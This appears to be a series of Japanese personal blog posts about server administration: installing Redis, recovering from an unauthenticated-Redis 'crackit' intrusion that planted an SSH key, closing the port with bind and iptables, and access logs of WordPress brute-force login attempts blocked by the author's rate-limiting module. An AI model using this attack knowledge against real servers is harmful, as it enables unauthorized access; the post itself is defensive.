remi 版の redis は gperftools の tcmalloc を利用しているため gperftools-libs もインストールします

$ yum info –enablerepo=remi redis
Version : 2.8.9
$ sudo yum install gperftools –enablerepo=epel
$ sudo yum install –enablerepo=remi redis

[CentOS7]
rpm パッケージを利用します
jemalloc を利用しているため同時にインストールします

$ cd /tmp
$ wget http://dl.fedoraproject.org/pub/epel/7/x86_64/j/jemalloc-3.6.0-1.el7.x86_64.rpm
$ sudo rpm -ivh jemalloc-3.6.0-1.el7.x86_64.rpm
$ wget http://dl.fedoraproject.org/pub/epel/7/x86_64/r/redis-2.8.19-1.el7.x86_64.rpm
$ sudo rpm -ivh redis-2.8.19-1.el7.x86_64.rpm

[Debian 5/6]
Debian の標準リポジトリに redis は存在しません(2015/1/14時点)
dotdeb リポジトリが必要です。導入方法はこちら

redis のバージョンを確認して、バージョン指定でインストールします

$ sudo apt-get update
$ apt-cache showpkg redis-server
Provides:
2:2.8.19-1~dotdeb.1 –   ★ 2.8以上であることを確認してください
2:1.2.6-1 –

$ sudo apt-get install redis-server=2:2.8.19-1~dotdeb.1
続行しますか [Y/n]? y
Starting redis-server: redis-server.

自動起動されるので状態を確認します

$ ps -ef | grep redis
redis 10995 1 0 21:57 ? 00:00:00 /usr/bin/redis-server 127.0.0.1:6379

redis に接続してバージョンを確認します

$ redis-cli info | grep redis_version
redis_version:2.8.19

 

以降は、redis 設定ファイルの作成 の項に沿って設定ファイルを編集し、再起動します

crack@redis.io

今日、redisに格納されているはずのデータが全て消え、crackit というキーが登録されていることを確認した。

該当キーのバリューを見ると、sshのキーと最後に crack@redis.io と、、、なんだこりゃ?

非常にまずいので調査してみると、redis 作者がセキュリティ問題としてあげていた。
http://antirez.com/news/96

恥ずかしいことに、他サーバからの接続試験で、結構前にIPアドレス制限を解放した時がある。
その後閉じてなかったようだ。

対処方法は2つある

① redis.conf の bind でIPを制限する(閉じる)
ローカルIPアドレスのみ接続できるように指定し、redisを再起動する
$ sudo vi /etc/redis/redis.conf
bind  127.0.0.1
$ sudo /etc/init.d/redis restart

② iptables でredisのポートを閉じる
redisのポートにアクセスできるIPアドレスのみ指定し、iptabelsを再起動する
$ sudo vi /etc/sysconfig/iptables
[IP帯域で許可する場合]
-A INPUT -p tcp -m tcp -s [接続させるIP帯域] –dport 6379 -j ACCEPT
[ポート閉塞する場合]
6397の行をコメントアウト(もしくは6379関連は記載しない)
$ sudo /etc/init.d/iptables restart

 

複数のサーバーから redis 接続を許可する場合 bind 設定を削除するか 0.0.0.0 と指定するが、この状態で iptables で制限をかけないとネット上で解放していることになる。(=redis を操作できてしまう)

今回は、iptables でIP帯域で制限しておきました。

しかし、恥ずかしい…
けど、気づかせてくれてありがとう。

2015/11/24追記
施行時の影響確認をこちらで検証しました

doshelperを公開しました – doshelper was released

DoS攻撃を回避するモジュールを公開しました。

ウェブサーバへのアクセス状態をIPアドレスをキーに外部配置したデータの永続性のあるKVS(Redis)に格納し、一定期間に閾値を超えるアクセス件数があった場合に遮断します。
=プログラムに処理を渡さず直接ブラウザにエラーを返却します

中規模以上のサイト(複数のウェブサーバが配置される分散環境)では、(サービス提供に必要な)最適なサーバ配置が求められるので、ウェブサーバの増減がちょいちょい発生しますが、そのようなケースでも閾値の見直しをしなくても良いような仕組みにしています。

なお閾値はURL単位でも設定できます。
重い機能やログイン機能などにそれぞれお閾値をセットすることで、アクセス集中によるウェブサーバの高負荷を回避したり、不正なログイン試行を遮断することができます。

どうぞ、お試しください。

https://github.com/kurosawatsuyoshi/doshelper
https://bitbucket.org/kurosawatsuyoshi/doshelper

Mac OS X El Capitanにしたら、Moshが利用できなかった

OS Xシリーズの12番目のバージョン「エルキャプテン」を導入してみました。

そしたら、外部サーバのアクセスで利用していた「Mosh」が削除されてしまいました。
再導入を試みようにもOSが対象外とのことでインストールもできない。

最新バージョンには気をつけろ。

と常々思っておりましたが、久々にくらってしまいました。
ガストからssh接続すると途切れ途切れになるので、sshプロセスがゾンビ化するのが、嫌なだけなんですけど・・・

10/17追記更新
最新版 1.2.5 で導入できました。
https://mosh.mit.edu/#getting

MacOSX Yosemite 10.10.5 にて java7 のJDKをダウンロードする

MacBook Airにて、Eclipseを起動しようとしたら
“Eclipse”を開くには、Java SE 6 ランタイムが必要です。今すぐインストールしますか?
と申される。
いやいや、今時8の時代に何を申すのか?と思い、Java7をインストールする。

と思いきや、ダウンロードには Oracleアカウントでログインが必要とのこと。
しばらくログインしていなかったので、パスワードを忘れてしまい再発行してログイン。

FireFoxにてログイン後、同じURLにサファリでアクセスしてみたら未ログインでも参照できたので、備忘録として残しておく。
JDK7のダウンロード

甲子園

明日は母校「三沢商業」が、埼玉の「花咲徳栄」と甲子園で戦います。

三沢商業にとっては29年ぶりの甲子園。
私の29年前はというと、三沢商業高校に入学したばかりの1年生。

いつの間にか甲子園出場が決定しており、あれよあれよという間に国鉄の貸切列車で 三沢駅→青森→秋田→新潟と日本海経由で約1日かけて甲子園に向かいました。

開会式後の第一試合。
滋賀のコーセー(甲西)高校に7−0で惨敗し、あっというまに夏が終わった記憶でした。

偶然にも今年の青森大会決勝もコーセー(光星学院)。

まずは甲子園準V校を倒したので、明日は本当の2回戦と思って勝ち進んで欲しいものです。
頑張れ〜!!!

IPアドレスの詐称

IP詐称ツールを検証してみました。

ブラウザからツールを起動し、日本から自分のサイトに攻撃してみたら
やはり海外のIPに置き換えられてアクセスしてきています。

これまで、login画面の不正アクセスを、ベトナムからとかイスラエルからとかIPを逆引きして報告していましたが、あまり意味は無いですね。

海外からのアクセスを遮断してしまうのが一番なのですが、保守性が下がるし生産性も悪いので、やはりIP単位で不正アクセスを認識して遮断するのが効果的だと思っています。

ジャムヘルパー(jamhelper)の開発を継続します。

不正ログイン拒否の検証状況

本日も不正アタックによる漏洩ニュースが流れました。

学研、Webサイトへの不正アクセスで最大2万2108人の情報が流出

つい最近も、いろいろとアタックを受けて流出しています。
いつ自サイトに来るかと恐々とする日が無くなるようにしていきたいです。

・バックアップサーバに不正アクセス、情報が漏洩 – ボートレース徳山

・法学部サイトに不正アクセス、CMSの脆弱性突かれる – 福岡大

なお、、、
本サイトも WordPress のログイン画面に不正侵入が見られてます…
下記ログの末尾に拒否した回数を出力しています。

イスラエルより
日本時間 4:38〜4:39(1分間)で、14回の不正ログイン試行。
2回の試行以降はすべてブロック。

213.8.97.6 - - [14/Jul/2015:04:38:56 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 1273 "http://www.google.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0" 4001 0 80 "<strong>ListAttack" "1"</strong>
:
213.8.97.6 - - [14/Jul/2015:04:39:02 +0900] "GET /wp-login.php HTTP/1.1" 200 1273 "http://www.google.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0" 4073 0 80 <strong>"DoSAttack" "12"</strong>

ベトナムより
日本時間 22:46〜22:52(6分間)に、191回の不正ログイン試行。
こちらも2回の試行以降はすべてブロック。

116.101.43.75 - - [14/Jul/2015:22:46:29 +0900] "POST /wordpress/wp-login.php HTTP/1.1" 200 1276 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 4600 0 80 <strong>"ListAttack" "1"</strong>
:
116.101.43.75 - - [14/Jul/2015:22:52:12 +0900] "POST /wordpress/wp-login.php HTTP/1.1" 200 1276 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 4152 0 80 <strong>"ListAttack" "189"</strong>

情報漏洩防衛システム

自宅でプールに浸かってる時に思いついてから早3年。
3年前のプール

近所のマクドナルドで開発に取り掛かり、
マックが禁煙化となってからはほぼ毎日ガストにこもりきり。

やっと実現できた。

今回やってみてわかったこととしては「ひとりはキツイ」ってこと。
よいチームに投資が集まるってことが良くわかりました。

とはいえ、こっからが大変ですが前身あるのみです。

jamhelper

DoS/リストアタック回避のシステムができあがりつつあります。

主機能は

・リストアタック対策(ログインエラー回数によるアクセス禁止とログ出力)
・DoS対策(F5連投のアクセス遮断とログ出力)※サイト全体 or URL単位に設定可
・IP即遮断/即解除(ウェブサーバの再起動なしに複数サーバを一度に設定)
・アクセスの流入制限(URL単位で制限人数に到達で整理券を発行する仕組み)

この機能を、既存プログラムへ手を加えずに実現することができます。
Linux(Redhat系、Debian系)、Windows上のApacheで動作するようにしています。

 

負荷検証中。独自サイトも構築中。時間が足りない...です。

 

jamhelper.com
jamhelper.com

wp-login.phpへの不正ログイン#2

本日はアルゼンチーナから!

190.210.115.29 - - [09/May/2015:23:13:30 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 1680 "http://www.google.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0" "6a2ef832-835c-4ac4-beca-d790be4e43f4"  "1" 8149 0
:
190.210.115.29 - - [09/May/2015:23:13:33 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 1680 "http://www.google.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0" "07ff7287-f2dc-4821-8f82-27169966ad24"  "7" 3103 0

7回失敗して、去っていきました。
効果ありです。

wp-login.phpの不正ログイン対策

本日は遥か彼方のトルコ帝国から、管理画面に不正ログインが試行されてました。

1秒に2回程度の頻度で約5分間。
100回程度の試行でしたがすべてjamhelperで防御しました。

88.236.24.43 - - [08/May/2015:14:47:01 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 1680 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" "96e34225-bb30-4c2d-a3b9-b26f73eb8608"  "1" 82492 0
	:
88.236.24.43 - - [08/May/2015:14:52:33 +0900] "GET /wordpress/wp-login.php HTTP/1.1" 200 1682 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" "37955603-38d0-476c-8f66-183999144f67"  "100" 16626 0

このWordPressには、ログイン・ログアウト時のユーザー名、日時、IPアドレス、ユーザーエージェントを記録するPlugin「Crazy Bone (狂骨)」を導入しているのですが、実はアカウントが存在しないと不正ログインがあったかどうか記録されないようです。

attack_20150508

                 ↑ login_error に本日のログが無い!

ログインエラーが存在しないから大丈夫!って感じるのは非常に危険だということがわかりました。
ちなみに表示されてる wp_administrator は、モジュールの引数に??をつけるとすぐ判別されちゃうので隠してませんw

VMwareTools-9.9.0-2304977 on Linux 3.17.7-200.fc20.x86_64 compile errors

Fusion7上でFedora20を動作していたらVMWareToolsが動作していないことに気づきました。
再度、VMWareToolsをインストールしてみると、どうやらコンパイルに失敗していたようでした。

# VMWaraToolsのインストール中にツラツラと英語のコメントがでるのですが、
# 読まずにいいかげんに全部Enterで進めていたのがイケなかったようです。
# あたりまえですが、コメントはちゃんと読まないとダメですね…

hgfsを利用するには、inode.c にパッチが必要なようです。
巷にPatchファイルが転がっていなかったので、手動で修正して対応しました。

$ cd vmware-tools-distrib/lib/modules/source/
$ tar xvf ./vmhgfs.tar
$ cd ./vmhgfs-only/
$ chmod 644 inode.c
$ vi inode.c
 ----------------row:1925
   //d_alias) {
   d_u.d_alias) {
 ----------------
$ cd ../
$ cp -p vmhgfs.tar vmhgfs.tar_20150105
$ tar cvf vmhgfs.tar vmhgfs-only/
$ cd ~/vmware-tools-distrib
$ sudo ./vmware-install.pl
$ ps -ef | grep vmtoolsd

ブルートフォースアタック (Brute Force Attack/Brute Force Password Cracking. Brute Force)

本日はロシアからブルートフォースアタックを受けてました。
0:50~6:26までの約6時間、延々と1秒単位でクエリーしてくるんですね。
ログの最後にリクエスト回数を出力してますが、約3万2千回の試行がありました。
最初の3件以外、503で弾いているので、doshelper 結構、効果高いかもしれない…

82.146.38.59 - - [02/Nov/2014:00:50:06 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 3056 0 PathAtacck 4
82.146.38.59 - - [02/Nov/2014:00:50:07 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 2777 0 PathAtacck 5
82.146.38.59 - - [02/Nov/2014:00:50:08 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 2623 0 PathAtacck 6
82.146.38.59 - - [02/Nov/2014:00:50:08 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 2998 0 PathAtacck 7
82.146.38.59 - - [02/Nov/2014:00:50:09 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 3959 0 PathAtacck 8
82.146.38.59 - - [02/Nov/2014:00:50:09 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 2384 0 DoS 9
82.146.38.59 - - [02/Nov/2014:00:50:10 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 2583 0 DoS 10
:
:
82.146.38.59 - - [02/Nov/2014:06:26:15 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 1399 0 DoS 31887
82.146.38.59 - - [02/Nov/2014:06:26:16 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 1187 0 DoS 31888
82.146.38.59 - - [02/Nov/2014:06:26:16 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 1674 0 DoS 31889
82.146.38.59 - - [02/Nov/2014:06:26:17 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 1480 0 DoS 31890
82.146.38.59 - - [02/Nov/2014:06:26:17 +0900] "POST /wordpress/wp-login.php HTTP/1.0" 503 323 "-" "-" 1490 0 DoS 31891